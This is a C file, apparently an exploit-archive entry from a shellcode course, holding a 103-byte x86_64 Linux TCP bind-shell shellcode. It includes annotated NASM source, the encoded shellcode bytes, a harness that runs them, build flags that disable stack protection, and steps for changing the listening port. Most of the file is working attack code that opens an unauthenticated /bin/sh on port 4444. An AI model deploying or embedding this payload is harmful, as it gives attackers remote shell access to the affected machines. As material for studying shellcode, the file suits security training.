/*---------------------------------------------------------------------------------------------------------------------
* /*
* # Exploit Title: bindshell TCP
* Author: Scorpion
* Copyright: (c) 2016 iQube. (http://iQube.io)
* Release Date: January 1, 2016
* Contact: https://www.facebook.com/sathish.royalmechanical
* Description: x64 Linux null-free TCP bind port shellcode
* Architecture: linux x86_64
* Assembled Size: 103 bytes
* category: Shellcode
* Tested On: Ubuntu 14.04 LTS
* SLAE64-1408
* Build/Run: gcc -fno-stack-protector -z execstack bindshell.c -o bindshell
* ./bindshell
* nc localhost 4444
*
*/
/*
* NOTE: This C code binds on port 4444
* The end of this file contains the .nasm source code
* The Port can be Reconfigured According to your needs
* Instructions for changing port number
* Port obtainer change the port value accorddingly
* port.py
* import socket
* port = 444
* hex(socket.htons(port))
* python port.py
* Result : 0x5c11
* Replace the obtained value in the shellcode to change the port number
* For building the from .nasm source use
* nasm -felf64 filename.nasm -o filename.o
* ld filename.o -o filename
* To inspect for nulls
* objdump -M intel -D filename.o
global _start
_start:
; sock = socket(AF_INET, SOCK_STREAM, 0)
; AF_INET = 2
; SOCK_STREAM = 1
; syscall number 41
xor rax, rax ;Xor function will null the values in the register beacuse we doesn't know whats the value in the register in realtime cases
xor rsi, rsi
mul rsi
push byte 0x2 ;pusing argument to the stack
pop rdi ; poping the argument to the rdi instructions on the top of the stack should be remove first because stack LIFO
inc esi ; already rsi is 0 so incrementing the rsi register will make it 1
push byte 0x29 ; pushing the syscall number into the rax by using stack
pop rax
syscall
; copying the socket descripter from rax to rdi register so that we can use it further
xchg rax, rdi
; server.sin_family = AF_INET
; server.sin_port = htons(PORT)
; server.sin_addr.s_addr = INADDR_ANY
; bzero(&server.sin_zero, 8)
; setting up the data sctructure
push 0x2 ;AF_INET value is 2 so we are pushing 0x2
mov word [rsp + 2],0x5c11 ;port 4444 htons hex value is 0x5c11 port values can be be obtained by following above instructions
push rsp ; saving the complete argument to rsi register
pop rsi
; bind(sock, (struct sockaddr *)&server, sockaddr_len)
; syscall number 49
push rdx ; Inserting the null to the stack
push byte 0x10
pop rdx ; value of the rdx register is set to 16 size sockaddr
push byte 0x31
pop rax ; rax register is set with 49 syscall for bind
syscall
;listen the sockets for the incomming connections
; listen(sock, MAX_CLIENTS)
; syscall number 50
pop rsi
push 0x32
pop rax ; rax register is set to 50 syscall for listen
syscall
; new = accept(sock, (struct sockaddr *)&client, &sockaddr_len)
;syscall number 43
push 0x2b
pop rax ; rax register is set to 43 syscall for accept
syscall
; storing the client socket description
mov r9, rax
; close parent
push 0x3
pop rax ; closing the parent socket connection using close parent rax is set to 3 syscall to close parent
syscall
xchg rdi , r9
xor rsi , rsi
; initilization of dup2
push 0x3
pop rsi ; setting argument to 3
duplicate:
dec esi
mov al, 0x21 ;duplicate syscall applied to error,output and input using loop
syscall
jne duplicate
execve: ; Execve format , execve("/bin/sh", 0 , 0)
xor rsi , rsi
mul rsi ; zeroed rax , rdx register
push ax ; terminate string with null
mov rbx , 0x68732f2f6e69622f ; "/bin//sh" in reverse order
push rbx
push rsp
pop rdi ; set RDI
push byte 0x3b ; execve syscall number (59)
pop rax
syscall
*/------------------------------------------------------------------------------------------------------------------
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x48\x31\xc0\x48\x31\xf6\x48\xf7\xe6\x6a\x02\x5f\xff\xc6\x6a\x29\x58\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02"
//Port number this value can be obtained from the above instructions
"\x11\x5c"
"\x54\x5e\x52\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x49\x89\xc1\x6a\x03\x58\x0f\x05\x49\x87\xf9\x48\x31\xf6\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\x48\x31\xf6\x48\xf7\xe6\x66\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\x6a\x3b\x58\x0f\x05";
main()
{
printf("Shellcode Length: %d\n", (int)strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
